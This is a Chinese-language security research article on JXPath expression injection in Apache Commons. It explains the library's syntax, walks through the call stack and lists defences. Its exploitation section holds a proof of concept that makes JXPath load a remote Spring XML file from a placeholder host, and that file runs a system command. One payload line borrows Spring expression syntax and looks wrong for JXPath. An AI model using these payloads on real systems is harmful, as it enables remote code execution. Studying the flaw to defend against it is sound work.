jxpath表达式注入漏洞研究
字数 963 2025-08-22 12:23:30
JXPath表达式注入漏洞研究
前言
JXPath是Apache Commons项目中的一个库,用于使用XPath语法导航和处理Java对象图。本文将深入研究JXPath表达式注入漏洞的原理、利用方式及防御措施。
JXPath表达式基础语法
JavaBean属性访问
JXPath可用于访问JavaBean的属性:
public class Employee {
public String getFirstName(){ ... }
}
Employee emp = new Employee();
JXPathContext context = JXPathContext.newContext(emp);
String fName = (String) context.getValue("firstName");
嵌套Bean属性访问
JXPath可以遍历对象图:
public class Employee {
public Address getHomeAddress(){ ... }
}
public class Address {
public String getStreetNumber(){ ... }
}
Employee emp = new Employee();
JXPathContext context = JXPathContext.newContext(emp);
String sNumber = (String) context.getValue("homeAddress/streetNumber");
构造对象
JXPath可以使用标准扩展函数调用对象方法、类的静态方法以及使用任何构造函数创建对象:
Book book = (Book)context.getValue("com.myco.books.Book.new('John Updike')");
调用静态方法
Book book = (Book)context.getValue("com.myco.books.Book.getBestBook('John Updike')");
调用一般方法
String firstName = (String)context.getValue("getAuthorsFirstName($book)");
表达式恶意利用
通过构造方法利用
攻击者可以通过构造方法执行恶意代码:
import org.apache.commons.jxpath.JXPathContext;
public class JXpathDemo {
public static void main(String[] args) {
try {
JXPathContext context = JXPathContext.newContext(null);
String key = (String) context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://ip/poc.xml\")");
System.out.println(key);
} catch (Exception exception) {
exception.printStackTrace();
}
}
}
配合恶意XML文件:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="evil" class="java.lang.String">
<constructor-arg value="#{T(Runtime).getRuntime().exec('calc')}"/>
</bean>
</beans>
调用静态方法利用
虽然Runtime.exec()不是静态方法,但如果存在其他危险的静态方法,也可以被利用:
// 假设存在一个危险的静态方法
public class MaliciousClass {
public static void executeCommand(String cmd) {
Runtime.getRuntime().exec(cmd);
}
}
// 攻击者可以这样调用
context.getValue("com.example.MaliciousClass.executeCommand('malicious command')");
调用一般方法利用
利用Runtime执行命令:
context.getValue("T(Runtime).getRuntime().exec('calc')");
调用过程调试分析
调用栈分析
关键调用栈如下:
JXPathContext.getValue()JXPathContext.interpret()PathParser.parseExpression()Function.invoke()
核心方法分析
关键方法逻辑:
-
获取基本信息:
- String namespace: 函数命名空间(可能为空)
- String name: 方法名
- Object[] parameters: 方法参数列表
-
处理流程:
- 检查命名空间
- 处理参数
- 查找实例方法或静态方法
-
方法查找:
- 根据方法名和参数类型查找对应方法
- 对静态方法和构造函数进行特殊处理
-
方法调用:
- 最终通过
function.invoke(context, parameters)调用目标方法
- 最终通过
防御措施
- 输入验证:严格验证用户提供的JXPath表达式,禁止包含危险方法调用
- 沙箱环境:在受限环境中执行JXPath表达式
- 白名单机制:只允许特定的安全表达式
- 安全配置:禁用危险的扩展功能
- 最小权限:以最低必要权限运行应用程序
总结
JXPath表达式注入漏洞源于对用户输入的不当处理,允许攻击者通过构造恶意表达式调用危险方法。了解其原理和利用方式有助于开发更安全的应用程序。在实际开发中,应避免直接将用户输入作为JXPath表达式执行,或采取严格的过滤和限制措施。